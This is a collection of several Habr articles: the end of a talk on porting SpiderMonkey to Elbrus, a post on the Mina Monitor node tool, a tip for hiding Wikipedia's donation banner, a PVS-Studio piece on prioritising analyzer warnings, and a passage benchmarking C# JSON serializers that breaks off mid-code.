Для того чтобы данные, необходимые для выполнения, при этом не терялись, в SpiderMonkey есть Resume Point. Что-то вроде точек сохранения, к которым всегда можно вернуться. В них сохраняются все операнды, нужные на данный момент для восстановления baseline фреймов. Но их недостаточно, поэтому в runtime нужно получить информацию, где находятся эти операнды. Проходит фаза lowering, regAlloc, после чего получается снимок (snapshot), в котором известно, где находятся нужные операнды. На основе этой информации восстанавливается baseline фрейм.
Процедура изображена на картинке:
В runtime на x86 это выглядит следующим образом: допустим, проверка в оптимизированном коде сработала и вас катапультировало. Собирается дамп регистров и нужная из них информация. Вызывается С, в куче размещается информация о полученных фреймах, вызывается еще один стаб, копирующий операнды на стек, а затем делается переход на байткод, который соответствует точке сохранения. Или, если вы были посреди инлайн кэша, переключается на Type монитор. Схема изображена ниже:
На Эльбрусе так не получится, потому что одна функция соответствует нескольким фреймам, а фреймы в Эльбрусе управляются железом и хранятся в защищенном chain стеке. Следовательно, нужно воссоздать не один фрейм, а несколько.
Схема для Эльбруса более сложная: есть промежуточный деоптимизационный стаб, который воссоздает всю эту информацию на chain-стеке, рекурсивно вызывая себя N раз, затем происходит системный вызов, который подменяет адреса возвратов на соответствующие адреса фреймов baseline, и затем переходит на точку сохранения и возобновляет выполнение.
Это стоит учесть при разработке, если у вас в коде часто встречается деоптимизация.
Переработанная схема для архитектуры Эльбрус:
Результатом всей работы портирования Ion стал 4-х кратный прирост производительности на некоторых бенчмарках по сравнению с предыдущей реализацией baseline. Гистограмму вы можете увидеть ниже:
Итоги
-----
Итак, теперь вы знаете, что на Эльбрусе есть SpiderMonkey, V8 и Node. В целом портирование — несложный процесс. Его можно выполнять небольшой командой.
Но всегда важно помнить про подводные камни. В случае с Эльбрусом ими были деоптимизация, медленная работа стабов, работа с задержками конвейера и chain-стек.
> Если доклад понравился, обратите внимание: 24-25 ноября в Москве состоится новая [HolyJS](https://holyjs-moscow.ru/), и там тоже будет много интересного. Уже известная информация о программе — на сайте, и билеты можно приобрести там же. | https://habr.com/ru/post/419155/ | null | ru | null |
# Mina Monitor — convenient monitoring your Mina nodes
Hello everyone!
---------------
My name is Serhii Pimenov. I’m a web developer from Kyiv, Ukraine (maybe you know me by the nickname olton).
Today I'm going to speak about one of my tools for the Mina blockchain - “**Mina Monitor**”. It’s the first article in the series about Mina and Mina Tools.
In this article, I will introduce you to my tool for monitoring the Mina nodes.
Ok, Let’s start... Why it needs
-------------------------------
Making a profit in Mina's blockchain is based on the Proof of Stake mechanism. To get Mina tokens you must launch the node with the required size of the stake and generate blocks to the blockchain. The very important thing - stability of the node. You must control the node state to win slots and blocks. This brings us to the heart of my speech.
So, how can we monitor the state of the node? Firstly, it is the usage of the "mina client status" command. Secondly, we can use built-in metrics, Grafana and Prometheus to get graphs for any node states. Third, use various system utilities to control resource consumption (such as htop, cat meminfo, and others).
But, all these services and utilities in one way or another limit my ability to control the Mina node.
Pic. 1In the beginning, I used a console command “mina client status” to get information about a node state, different system utilities to get server resources utilization, and system journals to read different logs (Pic. 1).
The main tool for obtaining information about a node state is a “mina client status” command.
Pic. 2The command “mina client status” is a good one, but it’s very boring and not informative enough for me (Pic. 2).
**We can see that this command gives a lot of information, but:**
* This information is static, we must re-run the command to update it
* This information is not fully qualified to determine the full health of the node at all (for example, we can’t see if a node is hanging or not)
* We can’t see information about server resources utilization: CPU and RAM usage, network traffic.
* Maybe, if you are a validator, you want to see information about delegations to your address, total delegated stake, how much you have a reward in the current epoch, and where your address is in the uptime leaderboard.
* You can’t see this information by the command “mina client status”. I would like to see the updatable price of Mina in different currencies and a balance cost in these currencies.
* All in all, I want the node to reboot with minimal loss in time if something doesn’t work correctly without my intervention.
Of course, we can execute a lot of steps to get information about the node:
* open the page “[http://uptime.minaprotocol.com”](http://uptime.minaprotocol.com%E2%80%9D) to get a position in the leaderboard
* run “htop” to see system resources usage statistics and “cat /proc/meminfo” to get information about used memory
* download the ledger and calculate the total stake visit Gareth's Mina Explorer and get information about rewards
or take many more steps to get the information we are interested in, and if we have suspicions that something is wrong with the node we run a command to restart a mina service.
Too many actions need to be performed to get one result.
To be honest, I am a very lazy person, and I was too lazy to do all these actions, and I decided to simplify my life and to create Mina Monitor, that would collect and show me all this information (even on my TV), control node state, while I just sitting on the couch, drinking beer and enjoying my life.
Pic. 3We came directly to Mina Monitor
--------------------------------
So, Mina Monitor is a client/server application for visually monitoring the Mina node, alerting about node problems, and automatically restarting the node if needed.
Mina Monitor is written using HTML, CSS, JavaScript, NodeJS and consists of two parts: server-side - this module collects information about node, monitors node health, and restarts node if needed (must be running on the same server with Mina) and client-side this module are for displaying the state of a node in the browser.
To develop a client I used my own libraries: Metro 4, ChartJS, DatetimeJS. If you are interested, you can find these libraries in my GitHub profile.
The Monitor server part can work separately, without running a client. But the client doesn't work without a server-side part. The launch of the Monitor is a very simple procedure. I’m going to talk about configuring and starting a client and server in one of the next articles. Also, you can read about launch options and starting variants in the project's README and HOW-TO files on GitHub.
Pic. 4Currently, the client has two types of realization: single node (Pic. 4), suitable for ordinary users (included in the repo with server-side), and multiple nodes (Pic. 5), suitable for users, who launch more than one node (named Cluster, you can find it in a separate repository).
Pic. 5What are the key features of Mina Monitor?
------------------------------------------
**Monitor Client:**
1. Display of the main indicators of the Mina network (Block height, uptime, epoch, and slot info)
2. Displaying the status of the node daemon (SYNCED, CATCHUP, BOOTSTRAP, ...)
3. Displaying the health of node (OK, Fork, Hanging)
4. Displaying the server resources utilization by the node (CPU, RAM, NETWORK)
5. Displaying the balance of the specified address and the value of this balance in different currencies
6. Displaying information about delegations to the specified validator address
7. Displaying information about won blocks and rewards received in the current epoch
8. Displaying the position in the uptime leaderboard
9. Displaying the status of several nodes on one page
10. Convenient live graphs for displaying utilized resources
11. Responsive interface (It is comfortable to look at both PC and phone and tablet) Two-color themes: dark and light
**Monitor Server Side:**
1. Monitors the node synchronization, node health, and checks for critical states (Fork, Hanging, No peers, Memory overload, ...)
2. Restart node when critical state is detected
3. Sends messages to Telegram and/or to Discord when critical states detected, changes sync state, balance state for specified address, and a message about Mina cost in a specified currency
4. Controlled the work of the Snark Worker. If necessary, stop one before the block production and start it after producing a block.
5. Collect and send information about used server resources to the clients.
* Time to create Cluster
----------------------
After launching the first version of the Mina Monitor and the beginning of using it, in my head was born a lot of new ideas on how I can improve an existing code to get new experiences, new useful information from nodes, and visualization it (for example: to show several nodes on one page, to show mina price, to show address position in the uptime leaderboard, and to show information about delegations and rewards).
Some ideas led me to the necessity to create a special client, who is showing several nodes on one page and information which I said above. This is how the **Mina Monitor Cluster** appeared.
In the process of working on the Cluster, there were also several ideas regarding the server-side of the monitor namely:
+ Store node state in the internal cached object. It will stop provoking requests to GraphQL from the server when the client requests data from the server. The use of the cached state of the node allows to increases significantly the performance of the server-side and the speed of displaying information on the client. The ability to run multiple clients without sacrificing server performance.
+ Improve the work with parameters that determine the time. Now you can set time values as short strings in human-readable format: for example “1d 13h 45m” instead of a big number to set a time in milliseconds the number of characters in which you still need to count correctly.
+ Transit from HTTP to WebSockets for data exchange between client and server. We get one stable connection instead of a large number of constant small requests on HTTP and inform clients when data is ready.
+ Improve the algorithm for recognizing a hanging node state. If the state of the fork is easy to determine, then it is not entirely trivial to determine correctly the hang state of a node.Many other improvements were made in the work of the server-side.
**As a result, the following functionality was added:**
**Cluster Client:**
+ Anything that a simple client displays, plus
+ Displaying the status of several nodes on one page
+ Displaying the response rate of a GraphQL node to the main request
+ Increase and expand information about node uptime.
+ Improvements for displaying Mina price, address balance**Extended features for the server-side**:
+ I rewrote code to use WebSocket for exchange data between client and server Now client receives a stored state of the node from the cached object
+ I added a Snark-worker controller to disabling snark-worker before block production and then resuming its work after block producing
+ I added a checker for Monitor memory consumption and reboot node when memory is critical usage
+ I added a module to control mina service stops with `journalctl` and wrote this event to the log fileOne of the important changes in the extreme version is the use of WebSocket for communication between the client and server parts of the monitor. The transition from HTTP to WebSocket allowed to reduce the load on the processor both on the client and on the server and to reduce the number of network connections to one full-duplex for each monitored server.
So which one to use
If you are a simple mina user and launched one node, you can use a simple client, included in the main Monitor repository. If you are a validator and want to stay in the top 120 in the uptime leaderboard, you can use a Cluster Client, because Cluster it's just more convenient for monitoring multiple nodes under one address.
Mina Monitor is an open-source project and accessibility on my GitHub page.
**Sources**
Project source files
+ Mina Monitor - <https://github.com/olton/mina-node-monitor>
+ MIna Monitor Cluster - <https://github.com/olton/mina-monitor-cluster>Docker images:
+ Mina Monitor Server - <https://hub.docker.com/r/olton/mina-monitor-server>
+ Mina Monitor Client - <https://hub.docker.com/r/olton/mina-monitor-client>
+ Mina Monitor Cluster - <https://hub.docker.com/r/olton/mina-monitor-cluster>Scripts for ONE LINE installation - <https://github.com/olton/scripts>
THE END | https://habr.com/ru/post/583636/ | null | en | null |
# Очередной сбор средств
Wikipedia собирает добровольные пожертвования на сервера, каналы связи, поддержку и обслуживание, развитие.
> В этом году подумайте, пожалуйста, о взносе в 5 долларов, 10 евро, 45 рублей, или о таком, какой сочтёте возможным сделать для защиты и поддержки Википедии.
>
>
Если закрыть сообщение, то оно появится снова, даже если пожертвовать. Если кому-то мешает, добавьте user-css:
`#B11_Donate_Jimmy_AvsB {display:none;}`
Так же, способ от [spmbt](https://geektimes.ru/users/spmbt/):
> если имеется AdBlockPlus, то не обязательно писать отдельный юзерстиль, достаточно внести после клика на значок ABP, далее «Preferences --> Filters --> AddFilter...»
>
> следующую магическую строчку:
>
>
>
> `wikipedia.org##DIV[id^="B11_Donate_Jimmy"]` | https://habr.com/ru/post/132774/ | null | ru | null |
# The first static analysis report: the key problems and how to address them
The main purpose of the static analyzer is to detect and report errors in code - so that you can fix them afterwards. However, reporting errors is not as simple as it may seem. Those just starting out to work with static analysis - and even experienced developers - may encounter a number of problems. In this article I'll talk about these problems and how to deal with them.
### What is static analysis?
Static analysis is a technology that allows to find errors and potential vulnerabilities in the source code without actually executing it. Here's an example of how this works. Not so long ago the world welcomed the LLVM 13.0.0 release, and we [checked](https://habr.com/en/company/pvs-studio/blog/582494/) it for errors. And - sure enough - we found curious errors in this project. Here's one of them:
```
bool operator==(const BDVState &Other) const {
return OriginalValue == OriginalValue && BaseValue == Other.BaseValue &&
Status == Other.Status;
}
```
The analyzer issues the following warning to the code above:
[[CWE-571](https://pvs-studio.com/en/w/v501/)] There are identical sub-expressions to the left and to the right of the '==' operator: OriginalValue == OriginalValue RewriteStatepointsForGC.cpp 758
As you can see, someone made a typo in the first comparison - and wrote OriginalValue instead of Other.OriginalValue. That's a [classic error](https://pvs-studio.com/en/blog/posts/cpp/0509/) in comparison methods. And it can lead to different and unpleasant results.
### Problems in the first report
So, suppose you found out that there is a thing called static analysis and decided to try it. You download this tool, start the analysis for your project and get a result that looks approximately like this:
This is the PVS-Studio plugin's window in Visual Studio 2022. The window contains a set of buttons at the top, and also displays a list of warnings. What the warnings say is irrelevant right now. I want to point your attention to something else - the number of the warnings shown:
And that's where the **first** problem lies - the number of warnings. In this example, there are over 2000 of them. That's a lot! When someone is just testing the waters, they do not want to go through so many warnings - it's tedious to do so. Meanwhile, that list may contain a warning about a major and very real error that can shoot you in the foot in the near future and force you to spend lots of time, energy and brain cells to fix it.
Well, suppose you decide to look through that long list after all. And here you'll face problem number **two** - identical warnings:
From the analyzer's perspective, everything is fine. It found many identical errors in the code and reports just that. However, right now we are talking about the first time someone uses the analyzer. What they want - is to see diversity. Looking at 4 identical warnings is uncool.
Now it's time for the **third** problem - and the most significant one. False positives. A false positive is a warning that reports code that does not contain an error.
Suppose the first ten warnings are false positives and the other warnings are legitimate and helpful. The person starts out looking through the warnings one by one, sees these 10 false positives, concludes this list is nonsense, and closes the report. All this while warning number 11 is an error we described at the beginning - the one that shoots you in the foot when you least expect it.
### How to address the first report's problems
To solve the problems described above I would like to offer you a good old approach with weights. See, the static analyzer has diagnostic rules. Each responds to a specific error pattern. So first, you sit down, analyze all the diagnostics and set their initial weight. The best diagnostics get more weight, the worst ones - less weight. What's a best diagnostic? This is a diagnostic characterized by one of the following: it has the lowest chance of producing a false positive, detects a serious error, or is very peculiar. That's upon you.
However, just assigning a weight is boring. Let's take it a step further. After you record all the errors for a project, you can, for example, change these weights in some way. I'll highlight several criteria here:
* the warning's category;
* warnings for tests;
* the number of warnings issued per line in a specified file;
* how often a specific diagnostic is triggered.
To make this clearer, I'll use an example. Here's how we implemented this mechanism - we called it [Best Warnings](https://habr.com/en/company/pvs-studio/blog/586262/) - at PVS-Studio. I'll start from the beginning.
#### The warning's category
This weight change is based upon some initial system that groups warnings. For example, we break our diagnostics up into three groups: High, Medium, and Low. High stands for the most reliable warnings, we do not alter their weight. The Medium group contains warnings of the average reliability. To these, we apply a coefficient that lowers their weight.
#### Warnings for tests
This group includes warnings issued for tests or autogenerated files. Sometimes the analyzer finds real errors in tests, and that's very cool. However, in most cases, warnings issued for such code are false positives because of the specifics of such code. This is why warnings for tests are better left for later. There's no need to show them to someone just starting out with an analyzer.
#### The number of warnings issued per line
Sometimes one line of code triggers several diagnostics. Experience shows that such lines usually do contain an error. Consequently, it's logical to add weight for such warnings.
#### How often a specific diagnostic is triggered
If a diagnostic's triggerings take up more than N% of all warnings, this usually means the diagnostic's warnings of a fairly low value. Such response is usually related to a coding style or to carelessly written macros in C or C++ code.
All categories described above solve problem number three. To address the second problem and get a variety of warnings, you need to take a diagnostic's all warnings and find the heaviest one among them. Leave its weight unchanged and decrease the weight of the remaining ones. Do the same for each diagnostic. As a result, you get a variety of warnings.
Now only the first problem remains - there are too many warnings. To address this, sort all problems by weight and show the N number of the heaviest ones. This way, you analyze the report instead of your clients and provide them the very essence of what the analyzer found.
### How it all looks in PVS-Studio
Our Visual Studio plugins now contain a button that you can click to execute all of the above. It runs a script we created. Let's get back to the example above and run it through this mechanism:
Here's the report. Now, instead of examining it at once, we click two buttons. One:
And two:
After this, the report looks as follows:
As you can see, only 10 warnings remain. They are much easier to go through than 2000 :)
We have also made sure that the list contains a variety of warnings. You can see a diversity of diagnostic codes and we decided to allow no more than 2 of the same warnings.
### Conclusion
Taking into account all of the above, the weight mechanism solves a number of problems at once. Looking through the first report is easier, because the volume of warnings is reduced and becomes convenient to examine. The warnings become more reliable and diverse. Clients save time and can evaluate the tool faster. For example, it took me only about 10-15 minutes to install the analyzer and view the warnings.
Feeling curious? Click [here](https://pvs-studio.com/en/pvs-studio/try-free/) to see how it works in real life!
Thank you for reading! | https://habr.com/ru/post/594361/ | null | en | null |
# Битва C# JSON сериализаторов для .NET Core 3
***Всем привет. В преддверии старта курса [«Разработчик C#»](https://otus.pw/Xy6i/) подготовили для вас интересный перевод, а также предлагаем [бесплатно посмотреть запись урока: «Шаблон проектирования Состояние (State)»](https://otus.pw/Xa1Y/)***
---
Недавно выпущенный .NET Core 3 принес с собой ряд нововведений. Помимо C# 8 и поддержки WinForms и WPF, в последнем релизе был добавлен новый JSON (де)сериализатор — **System.Text.Json**, и, как следует из его названия, все его классы находятся в этом пространстве имен.
Это серьезное нововведение. **Сериализация JSON — важный фактор в веб-приложениях.** На нее полагается большая часть сегодняшнего REST API. Когда ваш javascript клиент отправляет JSON в теле POST запроса, сервер использует десериализацию JSON для преобразования его в C# объект. И когда сервер возвращает в ответ объект, он сериализует этот объект в JSON, чтобы ваш javascript клиент мог его понять. Это большие операции, которые выполняются для каждого запроса с объектами. Их производительность может значительно повлиять на производительность приложений, что я и собираюсь сейчас продемонстрировать.
Если у вас есть опыт работы с .NET, то вы должны были слышать о превосходном сериализаторе **Json.NET**, также известном как **Newtonsoft.Json**. Так **зачем же нам новый сериализатор, если у нас уже есть прекрасный Newtonsoft.Json**? Хотя Newtonsoft.Json несомненно великолепен, есть несколько веских причин для его замены:
* Microsoft стремилась использовать новые типы, таких как ``Span<`T>`, для повышения производительности. Изменить такую огромную библиотеку, как Newtonsoft, без нарушения функциональности, очень сложно.
* Большинство сетевых протоколов, включая HTTP, используют текст типа UTF-8. `String` в .NET — UTF-16. Newtonsoft в процессе работы перекодирует строки из UTF-8 в UTF-16, что снижает производительность. Новый сериализатор напрямую использует UTF-8.
* Поскольку Newtonsoft является сторонней библиотекой, а не частью .NET Framework (классов BCL или FCL), у вас могут получаться проекты с зависимостями от разных версий. Сам ASP.NET Core зависит от Newtonsoft, что порой результирует во множестве [конфликтов версий](https://michaelscodingspot.com/how-to-resolve-net-reference-and-nuget-package-version-conflicts/).
В этой статье мы собираемся провести несколько бенчмарков, чтобы увидеть, насколько новый сериализатор лучше в плане производительности. Кроме того, мы также сравним **Newtonsoft.Json** и **System.Text.Json** с другими известными сериализаторами и посмотрим, как они справляются по отношению друг к другу.
### Битва сериализаторов
Вот наша линейка:
* [Newtonsoft.Json](https://www.newtonsoft.com/json) (также известный как **Json.NET**) — сериализатор, в настоящее время являющийся стандартом в отрасли. Был интегрирован в ASP.NET, хотя и являлся сторонним. Пакет NuGet №1 на все времена. Отмеченная множеством наград библиотека (наверное, точно не знаю).
* [System.Text.Json](https://docs.microsoft.com/en-us/dotnet/api/system.text.json?view=netcore-3.0) — новый сериализатор от Microsoft. Якобы быстрее и лучше **Newtonsoft.Json**. По умолчанию интегрирован с новыми проектами ASP.NET Core 3. Часть платформы .NET, поэтому никаких зависимостей NuGet не требуется (и больше никаких конфликтов версий).
* [DataContractJsonSerializer](https://docs.microsoft.com/en-us/dotnet/framework/wcf/samples/json-serialization) — старый сериализатор, разработанный Microsoft, который был интегрирован в предыдущие версии ASP.NET до тех пор, пока его не заменил Newtonsoft.Json.
* [Jil](https://github.com/kevin-montrose/Jil) — быстрый JSON сериализатор на основе [Sigil](https://github.com/kevin-montrose/Sigil)
* [ServiceStack](https://github.com/ServiceStack/ServiceStack.Text) — .NET сериализатор в JSON, JSV и CSV. Самопровозглашенный самый быстрый сериализатор текста .NET (то есть не двоичный).
* [Utf8Jso](https://github.com/neuecc/Utf8Json)n — еще один самопровозглашенный самый быстрый сериализатор C# в JSON. Работает с нулевым выделением памяти и читает/записывает непосредственно в двоичный код UTF8 для повышения производительности.
Обратите внимание, что существуют не-JSON сериализаторы, которые работают быстрее. В частности, [protobuf-net](https://github.com/protobuf-net/protobuf-net) — это двоичный сериализатор, который должен быть быстрее, любого из сравниваемых сериализаторов в этой статье (что, тем не менее, не проверено бенчмарками).
### Структура бенчмарка
Сериализаторы сравнивать не так-то просто. Нам нужно будет сравнить сериализацию и десериализацию. Нам нужно будет сравнить разные типы классов (маленькие и большие), списки и словари. И нам нужно будет сравнить разные цели сериализации: строки, потоки и массивы символов (массивы UTF-8). Это довольно большая матрица тестов, но я постараюсь сделать ее как можно более организованной и лаконичной.
Мы будем тестировать 4 разных функциональности:
* Сериализация в строку
* Сериализация в поток
* Десериализации из строки
* Запросы в секунду на приложении ASP.NET Core 3
Для каждой, мы будем тестировать различные типы объектов (которые вы можете увидеть в [GitHub](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/Models.cs)):
* Небольшие класс всего с 3 свойствами примитивного типа.
* Большой класс с примерно 25 свойствами, DateTime и парой перечислений
* Список из 1000 элементов (небольшого класса)
* Словарь из 1000 элементов (небольшого класса)
Это далеко не все необходимые бенчмарки, но, на мой взгляд, их достаточно для получения общего представления.
> Для всех бенчмарков я использовал [BenchmarkDotNet](https://github.com/dotnet/BenchmarkDotNet) на следующей системе: `BenchmarkDotNet=v0.11.5, OS=Windows 10.0.17134.1069 (1803/April2018Update/Redstone4) Intel Core i7-7700HQ CPU 2.80GHz (Kaby Lake), 1 CPU, 8 logical and 4 physical cores. .NET Core SDK=3.0.100. Host : .NET Core 3.0.0 (CoreCLR 4.700.19.46205, CoreFX 4.700.19.46214), 64bit RyuJIT`. Сам проект бенчмарка можете найти [на GitHub](https://github.com/michaelscodingspot/PracticalDebugging).
*Все тесты будут проходить только в проектах .NET Core 3.*
#### Бенчмарк 1: Сериализация в строку
Первое, что мы проверим, — это сериализация нашей выборки объектов в строку.
Сам код бенчмарка довольно прост (см. [на GitHub](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/SerializeToString.cs)):
```
public class SerializeToString where T : new()
{
private T \_instance;
private DataContractJsonSerializer \_dataContractJsonSerializer;
[GlobalSetup]
public void Setup()
{
\_instance = new T();
\_dataContractJsonSerializer = new DataContractJsonSerializer(typeof(T));
}
[Benchmark]
public string RunSystemTextJson()
{
return JsonSerializer.Serialize(\_instance);
}
[Benchmark]
public string RunNewtonsoft()
{
return JsonConvert.SerializeObject(\_instance);
}
[Benchmark]
public string RunDataContractJsonSerializer()
{
using (MemoryStream stream1 = new MemoryStream())
{
\_dataContractJsonSerializer.WriteObject(stream1, \_instance);
stream1.Position = 0;
using var sr = new StreamReader(stream1);
return sr.ReadToEnd();
}
}
[Benchmark]
public string RunJil()
{
return Jil.JSON.Serialize(\_instance);
}
[Benchmark]
public string RunUtf8Json()
{
return Utf8Json.JsonSerializer.ToJsonString(\_instance);
}
[Benchmark]
public string RunServiceStack()
{
return SST.JsonSerializer.SerializeToString(\_instance);
}
}
```
Приведенный выше тестовый класс является обобщенным, поэтому мы можем тестировать все наши объекты с помощью одного и того же кода, например:
```
BenchmarkRunner.Run>();
```
После запуска всех тестовых классов со всеми сериализаторами, мы получили следующие результаты:
> Более точные показатели можно посмотреть [здесь](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/benchmark_results.md#serialize-to-string-small-class)
* **Utf8Json** является самым быстрым на сегодняшний день, более чем в 4 раза быстрее, чем **Newtonsoft.Json** и **System.Text.Json**. Это поразительная разница.
* **Jil** также очень быстр, примерно в 2,5 раза быстрее, чем **Newtonsoft.Json** и **System.Text.Json.**
* В большинстве случаев новый сериализатор **System.Text.Json** работает лучше, чем **Newtonsoft.Json**, примерно на 10%, за исключением Dictionary, где он оказался на 10% медленнее.
* Более старый **DataContractJsonSerializer** намного хуже всех остальных.
* **ServiceStack** расположился прямо посередине, показывая, что это уже не самый быстрый сериализатор текста. По крайней мере, для JSON.
#### Бенчмарк 2: Сериализация в поток
Второй набор тестов почти такой же, за исключением того, что мы сериализуем в поток. Код бенчмарка [здесь](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/SerializeToStream.cs). Результаты:
> Более точные показатели можно посмотреть [здесь](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/benchmark_results.md#serialize-to-stream-small-class). Спасибо Адаму Ситнику и Ахсону Хану за то, что помогли мне заставить работать System.Text.Json.
Результаты очень похожи на предыдущий тест. **Utf8Json** и **Jil** в 4 раза быстрее остальных. **Jil** работает очень быстро, уступая лишь **Utf8Json**. **DataContractJsonSerializer** в большинстве случаев по-прежнему самый медленный. **Newtonsoft** в большинстве случаев работает почти также как **System.Text.Json**, за исключением словарей, где есть заметное преимущество **Newtonsoft**.
#### Бенчмарк 3: Десериализация из строки
Следующий набор тестов касается десериализации из строки. Код теста можно найти [здесь](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/DeserializeFromString.cs).
> Более точные показатели можно посмотреть [здесь](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/benchmark_results.md#deserialize-from-string).
У меня возникли некоторые трудности с запуском **DataContractJsonSerializer** для этого бенчмарка, поэтому он не включен в результаты. А в остальном мы видим, что в десериализации **Jil** быстрее всех, **Utf8Json** — на втором месте. Они в 2-3 раза быстрее, чем **System.Text.Json**. А **System.Text.Json** примерно на 30% быстрее, чем **Json.NET**.
Пока получается, что популярный **Newtonsoft.Json** и новый **System.Text.Json** имеют значительно худшую производительность, чем их конкуренты. Это было для меня довольно неожиданным результатом из-за популярности **Newtonsoft.Json** и всей шумихи вокруг нового топ-перформера Microsoft **System.Text.Json**. Давайте проверим это в приложении ASP.NET.
#### Бенчмарк 4: Количество запросов в секунду на .NET сервере
Как упоминалось ранее, сериализация JSON очень важна, потому что она постоянно присутствует в REST API. HTTP-запросы к серверу, использующему тип содержимого `application/json`, должны будут сериализовать или **десериализовать** JSON объект. Когда сервер принимает полезную нагрузку в POST запросе, сервер десериализует из JSON. Когда сервер возвращает объект в своем ответе, он **сериализует** JSON. Современное клиент-серверное взаимодействие во многом зависит от сериализации JSON. Поэтому для тестирования «реального» сценария имеет смысл создать тестовый сервер и измерить его производительность.
Меня вдохновил [тест производительности Microsoft](https://devblogs.microsoft.com/dotnet/try-the-new-system-text-json-apis/#user-content-systemtextjson-in-aspnet-core-mvc), в котором они создали серверное приложение MVC и проверяли количество запросов в секунду. Бенчмарки Microsoft тестируют **System.Text.Json** и **Newtonsoft.Json**. В этой статье мы сделаем то же самое, за исключением того, что мы собираемся сравнить их с **Utf8Json**, который показал себя одним из самых быстрых сериализаторов в предыдущих тестах.
> К сожалению, мне не удалось интегрировать ASP.NET Core 3 с Jil, поэтому бенчмарк не включает его. Я абсолютно уверен, что это возможно, если приложить больше усилий, но увы.
Создание этого теста оказалось более сложной задачей, чем раньше. Сначала я создал приложение MVC ASP.NET Core 3.0, как и в бенчмарке Майкрософт. Я добавил контроллер для тестов производительности, похожий [на тот, что был в тесте Майкрософт](https://github.com/aspnet/Benchmarks/blob/5beb0cccac53a32dda42cf29686efeb732a1e5d1/src/Benchmarks/Controllers/HomeController.cs#L18-L35):
```
[Route("mvc")]
public class JsonSerializeController : Controller
{
private static Benchmarks.Serializers.Models.ThousandSmallClassList _thousandSmallClassList
= new Benchmarks.Serializers.Models.ThousandSmallClassList();
[HttpPost("DeserializeThousandSmallClassList")]
[Consumes("application/json")]
public ActionResult DeserializeThousandSmallClassList([FromBody]Benchmarks.Serializers.Models.ThousandSmallClassList obj) => Ok();
[HttpGet("SerializeThousandSmallClassList")]
[Produces("application/json")]
public object SerializeThousandSmallClassList() => _thousandSmallClassList;
}
```
Когда клиент вызовет конечную точку `DeserializeThousandSmallClassList`, сервер примет текст JSON и десериализует содержимое. Так мы тестируем десериализацию. Когда клиент вызовет `SerializeThousandSmallClassList`, сервер вернет список из 1000 `SmallClass` элементов и тем самым сериализует контент в JSON.
Затем нам нужно отменить логирование для каждого запроса, чтобы это не повлияло на результат:
```
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args)
.ConfigureLogging(logging =>
{
logging.ClearProviders();
//logging.AddConsole();
})
.ConfigureWebHostDefaults(webBuilder =>
{
webBuilder.UseStartup();
});
```
Теперь нам нужен способ переключения между **System.Text.Json**, **Newtonsoft** и **Utf8Json**. С первыми двумя это несложно. Для **System.Text.Json** вообще ничего не нужно делать. Чтобы переключиться на **Newtonsoft.Json**, просто добавьте одну строку в `ConfigureServices` :
```
public void ConfigureServices(IServiceCollection services)
{
services.AddControllersWithViews()
// Раскомментируйте для Newtonsoft. Когда закомментировано - используется значение по умолчанию System.Text.Json
.AddNewtonsoftJson()
;
```
Для **Utf8Json** нам нужно добавить кастомные модули форматирования мультимедиа `InputFormatter` и `OutputFormatter`. Это было не так просто, но в конце концов я нашел [хорошее решение в интернете](https://im5tu.io/article/2018/07/utf8json-media-formatters-for-asp.net-core/), и после того, как я покопался в настройках, все заработало. Также есть [NuGet пакет](https://www.nuget.org/packages/Utf8Json.AspNetCoreMvcFormatter/) с модулями форматирования, но он не работает с ASP.NET Core 3.
```
internal sealed class Utf8JsonInputFormatter : IInputFormatter
{
private readonly IJsonFormatterResolver _resolver;
public Utf8JsonInputFormatter1() : this(null) { }
public Utf8JsonInputFormatter1(IJsonFormatterResolver resolver)
{
_resolver = resolver ?? JsonSerializer.DefaultResolver;
}
public bool CanRead(InputFormatterContext context) => context.HttpContext.Request.ContentType.StartsWith("application/json");
public async Task ReadAsync(InputFormatterContext context)
{
var request = context.HttpContext.Request;
if (request.Body.CanSeek && request.Body.Length == 0)
return await InputFormatterResult.NoValueAsync();
var result = await JsonSerializer.NonGeneric.DeserializeAsync(context.ModelType, request.Body, \_resolver);
return await InputFormatterResult.SuccessAsync(result);
}
}
internal sealed class Utf8JsonOutputFormatter : IOutputFormatter
{
private readonly IJsonFormatterResolver \_resolver;
public Utf8JsonOutputFormatter1() : this(null) { }
public Utf8JsonOutputFormatter1(IJsonFormatterResolver resolver)
{
\_resolver = resolver ?? JsonSerializer.DefaultResolver;
}
public bool CanWriteResult(OutputFormatterCanWriteContext context) => true;
public async Task WriteAsync(OutputFormatterWriteContext context)
{
if (!context.ContentTypeIsServerDefined)
context.HttpContext.Response.ContentType = "application/json";
if (context.ObjectType == typeof(object))
{
await JsonSerializer.NonGeneric.SerializeAsync(context.HttpContext.Response.Body, context.Object, \_resolver);
}
else
{
await JsonSerializer.NonGeneric.SerializeAsync(context.ObjectType, context.HttpContext.Response.Body, context.Object, \_resolver);
}
}
}
```
Теперь, чтобы ASP.NET использовал эти модули форматирования:
```
public void ConfigureServices(IServiceCollection services)
{
services.AddControllersWithViews()
// Раскомментируйте для Newtonsoft
//.AddNewtonsoftJson()
// Раскомментируйте для Utf8Json
.AddMvcOptions(option =>
{
option.OutputFormatters.Clear();
option.OutputFormatters.Add(new Utf8JsonOutputFormatter1(StandardResolver.Default));
option.InputFormatters.Clear();
option.InputFormatters.Add(new Utf8JsonInputFormatter1());
});
}
```
Итак, это сервер. Теперь о клиенте.
#### Клиент C# для измерения количества запросов в секунду
Я также создал клиентское приложение на C#, хотя в большинстве реальных сценариев будут превалировать JavaScript клиенты. Для наших целей это не имеет значения. Вот код:
```
public class RequestPerSecondClient
{
private const string HttpsLocalhost = "https://localhost:5001/";
public async Task Run(bool serialize, bool isUtf8Json)
{
await Task.Delay(TimeSpan.FromSeconds(5));
var client = new HttpClient();
var json = JsonConvert.SerializeObject(new Models.ThousandSmallClassList());
// Для разогрева, просто на всякий случай
for (int i = 0; i < 100; i++)
{
await DoRequest(json, client, serialize);
}
